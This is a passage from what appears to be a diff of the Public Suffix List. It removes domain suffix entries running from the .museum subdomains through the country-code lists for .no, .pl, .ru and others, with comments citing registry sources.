-environment.museum -environmentalconservation.museum -epilepsy.museum -essex.museum -estate.museum -ethnology.museum -exeter.museum -exhibition.museum -family.museum -farm.museum -farmequipment.museum -farmers.museum -farmstead.museum -field.museum -figueres.museum -filatelia.museum -film.museum -fineart.museum -finearts.museum -finland.museum -flanders.museum -florida.museum -force.museum -fortmissoula.museum -fortworth.museum -foundation.museum -francaise.museum -frankfurt.museum -franziskaner.museum -freemasonry.museum -freiburg.museum -fribourg.museum -frog.museum -fundacio.museum -furniture.museum -gallery.museum -garden.museum -gateway.museum -geelvinck.museum -gemological.museum -geology.museum -georgia.museum -giessen.museum -glas.museum -glass.museum -gorge.museum -grandrapids.museum -graz.museum -guernsey.museum -halloffame.museum -hamburg.museum -handson.museum -harvestcelebration.museum -hawaii.museum -health.museum -heimatunduhren.museum -hellas.museum -helsinki.museum -hembygdsforbund.museum -heritage.museum -histoire.museum -historical.museum -historicalsociety.museum -historichouses.museum -historisch.museum -historisches.museum -history.museum -historyofscience.museum -horology.museum -house.museum -humanities.museum -illustration.museum -imageandsound.museum -indian.museum -indiana.museum -indianapolis.museum -indianmarket.museum -intelligence.museum -interactive.museum -iraq.museum -iron.museum -isleofman.museum -jamison.museum -jefferson.museum -jerusalem.museum -jewelry.museum -jewish.museum -jewishart.museum -jfk.museum -journalism.museum -judaica.museum -judygarland.museum -juedisches.museum -juif.museum -karate.museum -karikatur.museum -kids.museum -koebenhavn.museum -koeln.museum -kunst.museum -kunstsammlung.museum -kunstunddesign.museum -labor.museum -labour.museum -lajolla.museum -lancashire.museum -landes.museum -lans.museum -läns.museum -larsson.museum -lewismiller.museum -lincoln.museum -linz.museum -living.museum -livinghistory.museum -localhistory.museum -london.museum -losangeles.museum -louvre.museum -loyalist.museum -lucerne.museum -luxembourg.museum -luzern.museum -mad.museum -madrid.museum -mallorca.museum -manchester.museum -mansion.museum -mansions.museum -manx.museum -marburg.museum -maritime.museum -maritimo.museum -maryland.museum -marylhurst.museum -media.museum -medical.museum -medizinhistorisches.museum -meeres.museum -memorial.museum -mesaverde.museum -michigan.museum -midatlantic.museum -military.museum -mill.museum -miners.museum -mining.museum -minnesota.museum -missile.museum -missoula.museum -modern.museum -moma.museum -money.museum -monmouth.museum -monticello.museum -montreal.museum -moscow.museum -motorcycle.museum -muenchen.museum -muenster.museum -mulhouse.museum -muncie.museum -museet.museum -museumcenter.museum -museumvereniging.museum -music.museum -national.museum -nationalfirearms.museum -nationalheritage.museum -nativeamerican.museum -naturalhistory.museum -naturalhistorymuseum.museum -naturalsciences.museum -nature.museum -naturhistorisches.museum -natuurwetenschappen.museum -naumburg.museum -naval.museum -nebraska.museum -neues.museum -newhampshire.museum -newjersey.museum -newmexico.museum -newport.museum -newspaper.museum -newyork.museum -niepce.museum -norfolk.museum -north.museum -nrw.museum -nuernberg.museum -nuremberg.museum -nyc.museum -nyny.museum -oceanographic.museum -oceanographique.museum -omaha.museum -online.museum -ontario.museum -openair.museum -oregon.museum -oregontrail.museum -otago.museum -oxford.museum -pacific.museum -paderborn.museum -palace.museum -paleo.museum -palmsprings.museum -panama.museum -paris.museum -pasadena.museum -pharmacy.museum -philadelphia.museum -philadelphiaarea.museum -philately.museum -phoenix.museum -photography.museum -pilots.museum -pittsburgh.museum -planetarium.museum -plantation.museum -plants.museum -plaza.museum -portal.museum -portland.museum -portlligat.museum -posts-and-telecommunications.museum -preservation.museum -presidio.museum -press.museum -project.museum -public.museum -pubol.museum -quebec.museum -railroad.museum -railway.museum -research.museum -resistance.museum -riodejaneiro.museum -rochester.museum -rockart.museum -roma.museum -russia.museum -saintlouis.museum -salem.museum -salvadordali.museum -salzburg.museum -sandiego.museum -sanfrancisco.museum -santabarbara.museum -santacruz.museum -santafe.museum -saskatchewan.museum -satx.museum -savannahga.museum -schlesisches.museum -schoenbrunn.museum -schokoladen.museum -school.museum -schweiz.museum -science.museum -scienceandhistory.museum -scienceandindustry.museum -sciencecenter.museum -sciencecenters.museum -science-fiction.museum -sciencehistory.museum -sciences.museum -sciencesnaturelles.museum -scotland.museum -seaport.museum -settlement.museum -settlers.museum -shell.museum -sherbrooke.museum -sibenik.museum -silk.museum -ski.museum -skole.museum -society.museum -sologne.museum -soundandvision.museum -southcarolina.museum -southwest.museum -space.museum -spy.museum -square.museum -stadt.museum -stalbans.museum -starnberg.museum -state.museum -stateofdelaware.museum -station.museum -steam.museum -steiermark.museum -stjohn.museum -stockholm.museum -stpetersburg.museum -stuttgart.museum -suisse.museum -surgeonshall.museum -surrey.museum -svizzera.museum -sweden.museum -sydney.museum -tank.museum -tcm.museum -technology.museum -telekommunikation.museum -television.museum -texas.museum -textile.museum -theater.museum -time.museum -timekeeping.museum -topology.museum -torino.museum -touch.museum -town.museum -transport.museum -tree.museum -trolley.museum -trust.museum -trustee.museum -uhren.museum -ulm.museum -undersea.museum -university.museum -usa.museum -usantiques.museum -usarts.museum -uscountryestate.museum -usculture.museum -usdecorativearts.museum -usgarden.museum -ushistory.museum -ushuaia.museum -uslivinghistory.museum -utah.museum -uvic.museum -valley.museum -vantaa.museum -versailles.museum -viking.museum -village.museum -virginia.museum -virtual.museum -virtuel.museum -vlaanderen.museum -volkenkunde.museum -wales.museum -wallonie.museum -war.museum -washingtondc.museum -watchandclock.museum -watch-and-clock.museum -western.museum -westfalen.museum -whaling.museum -wildlife.museum -williamsburg.museum -windmill.museum -workshop.museum -york.museum -yorkshire.museum -yosemite.museum -youth.museum -zoological.museum -zoology.museum -ירושלים.museum -иком.museum - -// mv : http://en.wikipedia.org/wiki/.mv -// "mv" included because, contra Wikipedia, google.mv exists. -mv -aero.mv -biz.mv -com.mv -coop.mv -edu.mv -gov.mv -info.mv -int.mv -mil.mv -museum.mv -name.mv -net.mv -org.mv -pro.mv - -// mw : http://www.registrar.mw/ -mw -ac.mw -biz.mw -co.mw -com.mw -coop.mw -edu.mw -gov.mw -int.mw -museum.mw -net.mw -org.mw - -// mx : http://www.nic.mx/ -// Submitted by registry 2008-06-19 -mx -com.mx -org.mx -gob.mx -edu.mx -net.mx - -// my : http://www.mynic.net.my/ -my -com.my -net.my -org.my -gov.my -edu.my -mil.my -name.my - -// mz : http://www.gobin.info/domainname/mz-template.doc -*.mz - -// na : http://www.na-nic.com.na/ -// http://www.info.na/domain/ -na -info.na -pro.na -name.na -school.na -or.na -dr.na -us.na -mx.na -ca.na -in.na -cc.na -tv.na -ws.na -mobi.na -co.na -com.na -org.na - -// name : has 2nd-level tlds, but there's no list of them -name - -// nc : http://www.cctld.nc/ -nc -asso.nc - -// ne : http://en.wikipedia.org/wiki/.ne -ne - -// net : http://en.wikipedia.org/wiki/.net -net - -// CentralNic names : http://www.centralnic.com/names/domains -// Submitted by registry 2008-06-17 -gb.net -se.net -uk.net - -// ZaNiC names : http://www.za.net/ -// Confirmed by registry 2009-10-03 -za.net - -// nf : http://en.wikipedia.org/wiki/.nf -nf -com.nf -net.nf -per.nf -rec.nf -web.nf -arts.nf -firm.nf -info.nf -other.nf -store.nf - -// ng : http://psg.com/dns/ng/ -// Submitted by registry 2008-06-17 -ac.ng -com.ng -edu.ng -gov.ng -net.ng -org.ng - -// ni : http://www.nic.ni/dominios.htm -*.ni - -// nl : http://www.domain-registry.nl/ace.php/c,728,122,,,,Home.html -// Confirmed by registry (with technical -// reservations) 2008-06-08 -nl - -// BV.nl will be a registry for dutch BV's (besloten vennootschap) -bv.nl - -// the co.nl domain is managed by CoDNS B.V. Added 2010-05-23. -co.nl - -// no : http://www.norid.no/regelverk/index.en.html -// The Norwegian registry has declined to notify us of updates. The web pages -// referenced below are the official source of the data. There is also an -// announce mailing list: -// https://postlister.uninett.no/sympa/info/norid-diskusjon -no -// Norid generic domains : http://www.norid.no/regelverk/vedlegg-c.en.html -fhs.no -vgs.no -fylkesbibl.no -folkebibl.no -museum.no -idrett.no -priv.no -// Non-Norid generic domains : http://www.norid.no/regelverk/vedlegg-d.en.html -mil.no -stat.no -dep.no -kommune.no -herad.no -// no geographical names : http://www.norid.no/regelverk/vedlegg-b.en.html -// counties -aa.no -ah.no -bu.no -fm.no -hl.no -hm.no -jan-mayen.no -mr.no -nl.no -nt.no -of.no -ol.no -oslo.no -rl.no -sf.no -st.no -svalbard.no -tm.no -tr.no -va.no -vf.no -// primary and lower secondary schools per county -gs.aa.no -gs.ah.no -gs.bu.no -gs.fm.no -gs.hl.no -gs.hm.no -gs.jan-mayen.no -gs.mr.no -gs.nl.no -gs.nt.no -gs.of.no -gs.ol.no -gs.oslo.no -gs.rl.no -gs.sf.no -gs.st.no -gs.svalbard.no -gs.tm.no -gs.tr.no -gs.va.no -gs.vf.no -// cities -akrehamn.no -åkrehamn.no -algard.no -ålgård.no -arna.no -brumunddal.no -bryne.no -bronnoysund.no -brønnøysund.no -drobak.no -drøbak.no -egersund.no -fetsund.no -floro.no -florø.no -fredrikstad.no -hokksund.no -honefoss.no -hønefoss.no -jessheim.no -jorpeland.no -jørpeland.no -kirkenes.no -kopervik.no -krokstadelva.no -langevag.no -langevåg.no -leirvik.no -mjondalen.no -mjøndalen.no -mo-i-rana.no -mosjoen.no -mosjøen.no -nesoddtangen.no -orkanger.no -osoyro.no -osøyro.no -raholt.no -råholt.no -sandnessjoen.no -sandnessjøen.no -skedsmokorset.no -slattum.no -spjelkavik.no -stathelle.no -stavern.no -stjordalshalsen.no -stjørdalshalsen.no -tananger.no -tranby.no -vossevangen.no -// communities -afjord.no -åfjord.no -agdenes.no -al.no -ål.no -alesund.no -ålesund.no -alstahaug.no -alta.no -áltá.no -alaheadju.no -álaheadju.no -alvdal.no -amli.no -åmli.no -amot.no -åmot.no -andebu.no -andoy.no -andøy.no -andasuolo.no -ardal.no -årdal.no -aremark.no -arendal.no -ås.no -aseral.no -åseral.no -asker.no -askim.no -askvoll.no -askoy.no -askøy.no -asnes.no -åsnes.no -audnedaln.no -aukra.no -aure.no -aurland.no -aurskog-holand.no -aurskog-høland.no -austevoll.no -austrheim.no -averoy.no -averøy.no -balestrand.no -ballangen.no -balat.no -bálát.no -balsfjord.no -bahccavuotna.no -báhccavuotna.no -bamble.no -bardu.no -beardu.no -beiarn.no -bajddar.no -bájddar.no -baidar.no -báidár.no -berg.no -bergen.no -berlevag.no -berlevåg.no -bearalvahki.no -bearalváhki.no -bindal.no -birkenes.no -bjarkoy.no -bjarkøy.no -bjerkreim.no -bjugn.no -bodo.no -bodø.no -badaddja.no -bådåddjå.no -budejju.no -bokn.no -bremanger.no -bronnoy.no -brønnøy.no -bygland.no -bykle.no -barum.no -bærum.no -bo.telemark.no -bø.telemark.no -bo.nordland.no -bø.nordland.no -bievat.no -bievát.no -bomlo.no -bømlo.no -batsfjord.no -båtsfjord.no -bahcavuotna.no -báhcavuotna.no -dovre.no -drammen.no -drangedal.no -dyroy.no -dyrøy.no -donna.no -dønna.no -eid.no -eidfjord.no -eidsberg.no -eidskog.no -eidsvoll.no -eigersund.no -elverum.no -enebakk.no -engerdal.no -etne.no -etnedal.no -evenes.no -evenassi.no -evenášši.no -evje-og-hornnes.no -farsund.no -fauske.no -fuossko.no -fuoisku.no -fedje.no -fet.no -finnoy.no -finnøy.no -fitjar.no -fjaler.no -fjell.no -flakstad.no -flatanger.no -flekkefjord.no -flesberg.no -flora.no -fla.no -flå.no -folldal.no -forsand.no -fosnes.no -frei.no -frogn.no -froland.no -frosta.no -frana.no -fræna.no -froya.no -frøya.no -fusa.no -fyresdal.no -forde.no -førde.no -gamvik.no -gangaviika.no -gáŋgaviika.no -gaular.no -gausdal.no -gildeskal.no -gildeskål.no -giske.no -gjemnes.no -gjerdrum.no -gjerstad.no -gjesdal.no -gjovik.no -gjøvik.no -gloppen.no -gol.no -gran.no -grane.no -granvin.no -gratangen.no -grimstad.no -grong.no -kraanghke.no -kråanghke.no -grue.no -gulen.no -hadsel.no -halden.no -halsa.no -hamar.no -hamaroy.no -habmer.no -hábmer.no -hapmir.no -hápmir.no -hammerfest.no -hammarfeasta.no -hámmárfeasta.no -haram.no -hareid.no -harstad.no -hasvik.no -aknoluokta.no -ákŋoluokta.no -hattfjelldal.no -aarborte.no -haugesund.no -hemne.no -hemnes.no -hemsedal.no -heroy.more-og-romsdal.no -herøy.møre-og-romsdal.no -heroy.nordland.no -herøy.nordland.no -hitra.no -hjartdal.no -hjelmeland.no -hobol.no -hobøl.no -hof.no -hol.no -hole.no -holmestrand.no -holtalen.no -holtålen.no -hornindal.no -horten.no -hurdal.no -hurum.no -hvaler.no -hyllestad.no -hagebostad.no -hægebostad.no -hoyanger.no -høyanger.no -hoylandet.no -høylandet.no -ha.no -hå.no -ibestad.no -inderoy.no -inderøy.no -iveland.no -jevnaker.no -jondal.no -jolster.no -jølster.no -karasjok.no -karasjohka.no -kárášjohka.no -karlsoy.no -galsa.no -gálsá.no -karmoy.no -karmøy.no -kautokeino.no -guovdageaidnu.no -klepp.no -klabu.no -klæbu.no -kongsberg.no -kongsvinger.no -kragero.no -kragerø.no -kristiansand.no -kristiansund.no -krodsherad.no -krødsherad.no -kvalsund.no -rahkkeravju.no -ráhkkerávju.no -kvam.no -kvinesdal.no -kvinnherad.no -kviteseid.no -kvitsoy.no -kvitsøy.no -kvafjord.no -kvæfjord.no -giehtavuoatna.no -kvanangen.no -kvænangen.no -navuotna.no -návuotna.no -kafjord.no -kåfjord.no -gaivuotna.no -gáivuotna.no -larvik.no -lavangen.no -lavagis.no -loabat.no -loabát.no -lebesby.no -davvesiida.no -leikanger.no -leirfjord.no -leka.no -leksvik.no -lenvik.no -leangaviika.no -leaŋgaviika.no -lesja.no -levanger.no -lier.no -lierne.no -lillehammer.no -lillesand.no -lindesnes.no -lindas.no -lindås.no -lom.no -loppa.no -lahppi.no -láhppi.no -lund.no -lunner.no -luroy.no -lurøy.no -luster.no -lyngdal.no -lyngen.no -ivgu.no -lardal.no -lerdal.no -lærdal.no -lodingen.no -lødingen.no -lorenskog.no -lørenskog.no -loten.no -løten.no -malvik.no -masoy.no -måsøy.no -muosat.no -muosát.no -mandal.no -marker.no -marnardal.no -masfjorden.no -meland.no -meldal.no -melhus.no -meloy.no -meløy.no -meraker.no -meråker.no -moareke.no -moåreke.no -midsund.no -midtre-gauldal.no -modalen.no -modum.no -molde.no -moskenes.no -moss.no -mosvik.no -malselv.no -målselv.no -malatvuopmi.no -málatvuopmi.no -namdalseid.no -aejrie.no -namsos.no -namsskogan.no -naamesjevuemie.no -nååmesjevuemie.no -laakesvuemie.no -nannestad.no -narvik.no -narviika.no -naustdal.no -nedre-eiker.no -nes.akershus.no -nes.buskerud.no -nesna.no -nesodden.no -nesseby.no -unjarga.no -unjárga.no -nesset.no -nissedal.no -nittedal.no -nord-aurdal.no -nord-fron.no -nord-odal.no -norddal.no -nordkapp.no -davvenjarga.no -davvenjárga.no -nordre-land.no -nordreisa.no -raisa.no -ráisa.no -nore-og-uvdal.no -notodden.no -naroy.no -nærøy.no -notteroy.no -nøtterøy.no -odda.no -oksnes.no -øksnes.no -oppdal.no -oppegard.no -oppegård.no -orkdal.no -orland.no -ørland.no -orskog.no -ørskog.no -orsta.no -ørsta.no -os.hedmark.no -os.hordaland.no -osen.no -osteroy.no -osterøy.no -ostre-toten.no -østre-toten.no -overhalla.no -ovre-eiker.no -øvre-eiker.no -oyer.no -øyer.no -oygarden.no -øygarden.no -oystre-slidre.no -øystre-slidre.no -porsanger.no -porsangu.no -porsáŋgu.no -porsgrunn.no -radoy.no -radøy.no -rakkestad.no -rana.no -ruovat.no -randaberg.no -rauma.no -rendalen.no -rennebu.no -rennesoy.no -rennesøy.no -rindal.no -ringebu.no -ringerike.no -ringsaker.no -rissa.no -risor.no -risør.no -roan.no -rollag.no -rygge.no -ralingen.no -rælingen.no -rodoy.no -rødøy.no -romskog.no -rømskog.no -roros.no -røros.no -rost.no -røst.no -royken.no -røyken.no -royrvik.no -røyrvik.no -rade.no -råde.no -salangen.no -siellak.no -saltdal.no -salat.no -sálát.no -sálat.no -samnanger.no -sande.more-og-romsdal.no -sande.møre-og-romsdal.no -sande.vestfold.no -sandefjord.no -sandnes.no -sandoy.no -sandøy.no -sarpsborg.no -sauda.no -sauherad.no -sel.no -selbu.no -selje.no -seljord.no -sigdal.no -siljan.no -sirdal.no -skaun.no -skedsmo.no -ski.no -skien.no -skiptvet.no -skjervoy.no -skjervøy.no -skierva.no -skiervá.no -skjak.no -skjåk.no -skodje.no -skanland.no -skånland.no -skanit.no -skánit.no -smola.no -smøla.no -snillfjord.no -snasa.no -snåsa.no -snoasa.no -snaase.no -snåase.no -sogndal.no -sokndal.no -sola.no -solund.no -songdalen.no -sortland.no -spydeberg.no -stange.no -stavanger.no -steigen.no -steinkjer.no -stjordal.no -stjørdal.no -stokke.no -stor-elvdal.no -stord.no -stordal.no -storfjord.no -omasvuotna.no -strand.no -stranda.no -stryn.no -sula.no -suldal.no -sund.no -sunndal.no -surnadal.no -sveio.no -svelvik.no -sykkylven.no -sogne.no -søgne.no -somna.no -sømna.no -sondre-land.no -søndre-land.no -sor-aurdal.no -sør-aurdal.no -sor-fron.no -sør-fron.no -sor-odal.no -sør-odal.no -sor-varanger.no -sør-varanger.no -matta-varjjat.no -mátta-várjjat.no -sorfold.no -sørfold.no -sorreisa.no -sørreisa.no -sorum.no -sørum.no -tana.no -deatnu.no -time.no -tingvoll.no -tinn.no -tjeldsund.no -dielddanuorri.no -tjome.no -tjøme.no -tokke.no -tolga.no -torsken.no -tranoy.no -tranøy.no -tromso.no -tromsø.no -tromsa.no -romsa.no -trondheim.no -troandin.no -trysil.no -trana.no -træna.no -trogstad.no -trøgstad.no -tvedestrand.no -tydal.no -tynset.no -tysfjord.no -divtasvuodna.no -divttasvuotna.no -tysnes.no -tysvar.no -tysvær.no -tonsberg.no -tønsberg.no -ullensaker.no -ullensvang.no -ulvik.no -utsira.no -vadso.no -vadsø.no -cahcesuolo.no -čáhcesuolo.no -vaksdal.no -valle.no -vang.no -vanylven.no -vardo.no -vardø.no -varggat.no -várggát.no -vefsn.no -vaapste.no -vega.no -vegarshei.no -vegårshei.no -vennesla.no -verdal.no -verran.no -vestby.no -vestnes.no -vestre-slidre.no -vestre-toten.no -vestvagoy.no -vestvågøy.no -vevelstad.no -vik.no -vikna.no -vindafjord.no -volda.no -voss.no -varoy.no -værøy.no -vagan.no -vågan.no -voagat.no -vagsoy.no -vågsøy.no -vaga.no -vågå.no -valer.ostfold.no -våler.østfold.no -valer.hedmark.no -våler.hedmark.no - -// the co.no domain is managed by CoDNS B.V. Added 2010-05-23. -co.no - -// np : http://www.mos.com.np/register.html -*.np - -// nr : http://cenpac.net.nr/dns/index.html -// Confirmed by registry 2008-06-17 -nr -biz.nr -info.nr -gov.nr -edu.nr -org.nr -net.nr -com.nr - -// nu : http://en.wikipedia.org/wiki/.nu -nu - -// nz : http://en.wikipedia.org/wiki/.nz -*.nz - -// om : http://en.wikipedia.org/wiki/.om -*.om -!mediaphone.om -!nawrastelecom.om -!nawras.om -!omanmobile.om -!omanpost.om -!omantel.om -!rakpetroleum.om -!siemens.om -!songfest.om -!statecouncil.om - -// org : http://en.wikipedia.org/wiki/.org -org - -// CentralNic names : http://www.centralnic.com/names/domains -// Submitted by registry 2008-06-17 -ae.org - -// ZaNiC names : http://www.za.net/ -// Confirmed by registry 2009-10-03 -za.org - -// pa : http://www.nic.pa/ -// Some additional second level "domains" resolve directly as hostnames, such as -// pannet.pa, so we add a rule for "pa". -pa -ac.pa -gob.pa -com.pa -org.pa -sld.pa -edu.pa -net.pa -ing.pa -abo.pa -med.pa -nom.pa - -// pe : https://www.nic.pe/InformeFinalComision.pdf -pe -edu.pe -gob.pe -nom.pe -mil.pe -org.pe -com.pe -net.pe - -// pf : http://www.gobin.info/domainname/formulaire-pf.pdf -pf -com.pf -org.pf -edu.pf - -// pg : http://en.wikipedia.org/wiki/.pg -*.pg - -// ph : http://www.domains.ph/FAQ2.asp -// Submitted by registry 2008-06-13 -ph -com.ph -net.ph -org.ph -gov.ph -edu.ph -ngo.ph -mil.ph -i.ph - -// pk : http://pk5.pknic.net.pk/pk5/msgNamepk.PK -pk -com.pk -net.pk -edu.pk -org.pk -fam.pk -biz.pk -web.pk -gov.pk -gob.pk -gok.pk -gon.pk -gop.pk -gos.pk -info.pk - -// pl : http://www.dns.pl/english/ -pl -// NASK functional domains (nask.pl / dns.pl) : http://www.dns.pl/english/dns-funk.html -aid.pl -agro.pl -atm.pl -auto.pl -biz.pl -com.pl -edu.pl -gmina.pl -gsm.pl -info.pl -mail.pl -miasta.pl -media.pl -mil.pl -net.pl -nieruchomosci.pl -nom.pl -org.pl -pc.pl -powiat.pl -priv.pl -realestate.pl -rel.pl -sex.pl -shop.pl -sklep.pl -sos.pl -szkola.pl -targi.pl -tm.pl -tourism.pl -travel.pl -turystyka.pl -// ICM functional domains (icm.edu.pl) -6bone.pl -art.pl -mbone.pl -// Government domains (administred by ippt.gov.pl) -gov.pl -uw.gov.pl -um.gov.pl -ug.gov.pl -upow.gov.pl -starostwo.gov.pl -so.gov.pl -sr.gov.pl -po.gov.pl -pa.gov.pl -// other functional domains -ngo.pl -irc.pl -usenet.pl -// NASK geographical domains : http://www.dns.pl/english/dns-regiony.html -augustow.pl -babia-gora.pl -bedzin.pl -beskidy.pl -bialowieza.pl -bialystok.pl -bielawa.pl -bieszczady.pl -boleslawiec.pl -bydgoszcz.pl -bytom.pl -cieszyn.pl -czeladz.pl -czest.pl -dlugoleka.pl -elblag.pl -elk.pl -glogow.pl -gniezno.pl -gorlice.pl -grajewo.pl -ilawa.pl -jaworzno.pl -jelenia-gora.pl -jgora.pl -kalisz.pl -kazimierz-dolny.pl -karpacz.pl -kartuzy.pl -kaszuby.pl -katowice.pl -kepno.pl -ketrzyn.pl -klodzko.pl -kobierzyce.pl -kolobrzeg.pl -konin.pl -konskowola.pl -kutno.pl -lapy.pl -lebork.pl -legnica.pl -lezajsk.pl -limanowa.pl -lomza.pl -lowicz.pl -lubin.pl -lukow.pl -malbork.pl -malopolska.pl -mazowsze.pl -mazury.pl -mielec.pl -mielno.pl -mragowo.pl -naklo.pl -nowaruda.pl -nysa.pl -olawa.pl -olecko.pl -olkusz.pl -olsztyn.pl -opoczno.pl -opole.pl -ostroda.pl -ostroleka.pl -ostrowiec.pl -ostrowwlkp.pl -pila.pl -pisz.pl -podhale.pl -podlasie.pl -polkowice.pl -pomorze.pl -pomorskie.pl -prochowice.pl -pruszkow.pl -przeworsk.pl -pulawy.pl -radom.pl -rawa-maz.pl -rybnik.pl -rzeszow.pl -sanok.pl -sejny.pl -siedlce.pl -slask.pl -slupsk.pl -sosnowiec.pl -stalowa-wola.pl -skoczow.pl -starachowice.pl -stargard.pl -suwalki.pl -swidnica.pl -swiebodzin.pl -swinoujscie.pl -szczecin.pl -szczytno.pl -tarnobrzeg.pl -tgory.pl -turek.pl -tychy.pl -ustka.pl -walbrzych.pl -warmia.pl -warszawa.pl -waw.pl -wegrow.pl -wielun.pl -wlocl.pl -wloclawek.pl -wodzislaw.pl -wolomin.pl -wroclaw.pl -zachpomor.pl -zagan.pl -zarow.pl -zgora.pl -zgorzelec.pl -// TASK geographical domains (www.task.gda.pl/uslugi/dns) -gda.pl -gdansk.pl -gdynia.pl -med.pl -sopot.pl -// other geographical domains -gliwice.pl -krakow.pl -poznan.pl -wroc.pl -zakopane.pl - -// co.pl : Mainseek Sp. z o.o. http://www.co.pl -co.pl - -// pn : http://www.government.pn/PnRegistry/policies.htm -pn -gov.pn -co.pn -org.pn -edu.pn -net.pn - -// pr : http://www.nic.pr/index.asp?f=1 -pr -com.pr -net.pr -org.pr -gov.pr -edu.pr -isla.pr -pro.pr -biz.pr -info.pr -name.pr -// these aren't mentioned on nic.pr, but on http://en.wikipedia.org/wiki/.pr -est.pr -prof.pr -ac.pr - -// pro : http://www.nic.pro/support_faq.htm -pro -aca.pro -bar.pro -cpa.pro -jur.pro -law.pro -med.pro -eng.pro - -// ps : http://en.wikipedia.org/wiki/.ps -// http://www.nic.ps/registration/policy.html#reg -ps -edu.ps -gov.ps -sec.ps -plo.ps -com.ps -org.ps -net.ps - -// pt : http://online.dns.pt/dns/start_dns -pt -net.pt -gov.pt -org.pt -edu.pt -int.pt -publ.pt -com.pt -nome.pt - -// pw : http://en.wikipedia.org/wiki/.pw -pw -co.pw -ne.pw -or.pw -ed.pw -go.pw -belau.pw - -// py : http://www.nic.py/faq_a.html#faq_b -*.py - -// qa : http://www.qatar.net.qa/services/virtual.htm -*.qa - -// re : http://www.afnic.re/obtenir/chartes/nommage-re/annexe-descriptifs -re -com.re -asso.re -nom.re - -// ro : http://www.rotld.ro/ -ro -com.ro -org.ro -tm.ro -nt.ro -nom.ro -info.ro -rec.ro -arts.ro -firm.ro -store.ro -www.ro - -// rs : http://en.wikipedia.org/wiki/.rs -rs -co.rs -org.rs -edu.rs -ac.rs -gov.rs -in.rs - -// ru : http://www.cctld.ru/ru/docs/aktiv_8.php -// Industry domains -ru -ac.ru -com.ru -edu.ru -int.ru -net.ru -org.ru -pp.ru -// Geographical domains -adygeya.ru -altai.ru -amur.ru -arkhangelsk.ru -astrakhan.ru -bashkiria.ru -belgorod.ru -bir.ru -bryansk.ru -buryatia.ru -cbg.ru -chel.ru -chelyabinsk.ru -chita.ru -chukotka.ru -chuvashia.ru -dagestan.ru -dudinka.ru -e-burg.ru -grozny.ru -irkutsk.ru -ivanovo.ru -izhevsk.ru -jar.ru -joshkar-ola.ru -kalmykia.ru -kaluga.ru -kamchatka.ru -karelia.ru -kazan.ru -kchr.ru -kemerovo.ru -khabarovsk.ru -khakassia.ru -khv.ru -kirov.ru -koenig.ru -komi.ru -kostroma.ru -krasnoyarsk.ru -kuban.ru -kurgan.ru -kursk.ru -lipetsk.ru -magadan.ru -mari.ru -mari-el.ru -marine.ru -mordovia.ru -mosreg.ru -msk.ru -murmansk.ru -nalchik.ru -nnov.ru -nov.ru -novosibirsk.ru -nsk.ru -omsk.ru -orenburg.ru -oryol.ru -palana.ru -penza.ru -perm.ru -pskov.ru -ptz.ru -rnd.ru -ryazan.ru -sakhalin.ru -samara.ru -saratov.ru -simbirsk.ru -smolensk.ru -spb.ru -stavropol.ru -stv.ru -surgut.ru -tambov.ru -tatarstan.ru -tom.ru -tomsk.ru -tsaritsyn.ru -tsk.ru -tula.ru -tuva.ru -tver.ru -tyumen.ru -udm.ru -udmurtia.ru -ulan-ude.ru -vladikavkaz.ru -vladimir.ru -vladivostok.ru -volgograd.ru -vologda.ru -voronezh.ru -vrn.ru -vyatka.ru -yakutia.ru -yamal.ru -yaroslavl.ru -yekaterinburg.ru -yuzhno-sakhalinsk.ru -// More geographical domains -amursk.ru -baikal.ru -cmw.ru -fareast.ru -jamal.ru -kms.ru -k-uralsk.ru -kustanai.ru -kuzbass.ru -magnitka.ru -mytis.ru -nakhodka.ru -nkz.ru -norilsk.ru -oskol.ru -pyatigorsk.ru -rubtsovsk.ru -snz.ru -syzran.ru -vdonsk.ru -zgrad.ru -// State domains -gov.ru -mil.ru -// Technical domains -test.ru - -// rw : http://www.nic.rw/cgi-bin/policy.pl -rw -gov.rw -net.rw -edu.rw -ac.rw -com.rw -co.rw -int.rw -mil.rw -gouv.rw - -// sa : http://www.nic.net.sa/ -sa -com.sa -net.sa -org.sa -gov.sa -med.sa -pub.sa -edu.sa -sch.sa - -// sb : http://www.sbnic.net.sb/ -// Submitted by registry 2008-06-08 -sb -com.sb -edu.sb -gov.sb -net.sb -org.sb - -// sc : http://www.nic.sc/ -sc -com.sc -gov.sc -net.sc -org.sc -edu.sc - -// sd : http://www.isoc.sd/sudanic.isoc.sd/billing_pricing.htm -// Submitted by registry 2008-06-17 -sd -com.sd -net.sd -org.sd -edu.sd -med.sd -gov.sd -info.sd - -// se : http://en.wikipedia.org/wiki/.se -// Submitted by registry 2008-06-24 -se -a.se -ac.se -b.se -bd.se -brand.se -c.se -d.se -e.se -f.se -fh.se -fhsk.se -fhv.se -g.se -h.se -i.se -k.se -komforb.se -kommunalforbund.se -komvux.se -l.se -lanbib.se -m.se -n.se -naturbruksgymn.se -o.se -org.se -p.se -parti.se -pp.se -press.se -r.se -s.se -sshn.se -t.se -tm.se -u.se -w.se -x.se -y.se -z.se - -// sg : http://www.nic.net.sg/sub_policies_agreement/2ld.html -sg -com.sg -net.sg -org.sg -gov.sg -edu.sg -per.sg - -// sh : http://www.nic.sh/rules.html -// list of 2nd level domains ? -sh - -// si : http://en.wikipedia.org/wiki/.si -si - -// sj : No registrations at this time. -// Submitted by registry 2008-06-16 - -// sk : http://en.wikipedia.org/wiki/.sk -// list of 2nd level domains ? -sk - -// sl : http://www.nic.sl -// Submitted by registry 2008-06-12 -sl -com.sl -net.sl -edu.sl -gov.sl -org.sl - -// sm : http://en.wikipedia.org/wiki/.sm -sm - -// sn : http://en.wikipedia.org/wiki/.sn -sn -art.sn -com.sn -edu.sn -gouv.sn -org.sn -perso.sn -univ.sn - -// so : http://www.soregistry.com/ -so -com.so -net.so -org.so - -// sr : http://en.wikipedia.org/wiki/.sr -sr - -// st : http://www.nic.st/html/policyrules/ -st -co.st -com.st -consulado.st -edu.st -embaixada.st -gov.st -mil.st -net.st -org.st -principe.st -saotome.st -store.st - -// su : http://en.wikipedia.org/wiki/.su -su - -// sv : http://www.svnet.org.sv/svpolicy.html -*.sv - -// sy : http://en.wikipedia.org/wiki/.sy -// see also: http://www.gobin.info/domainname/sy.doc -sy -edu.sy -gov.sy -net.sy -mil.sy -com.sy -org.sy - -// sz : http://en.wikipedia.org/wiki/.sz -// http://www.sispa.org.sz/ -sz -co.sz -ac.sz -org.sz - -// tc : http://en.wikipedia.org/wiki/.tc -tc - -// td : http://en.wikipedia.org/wiki/.td -td - -// tel: 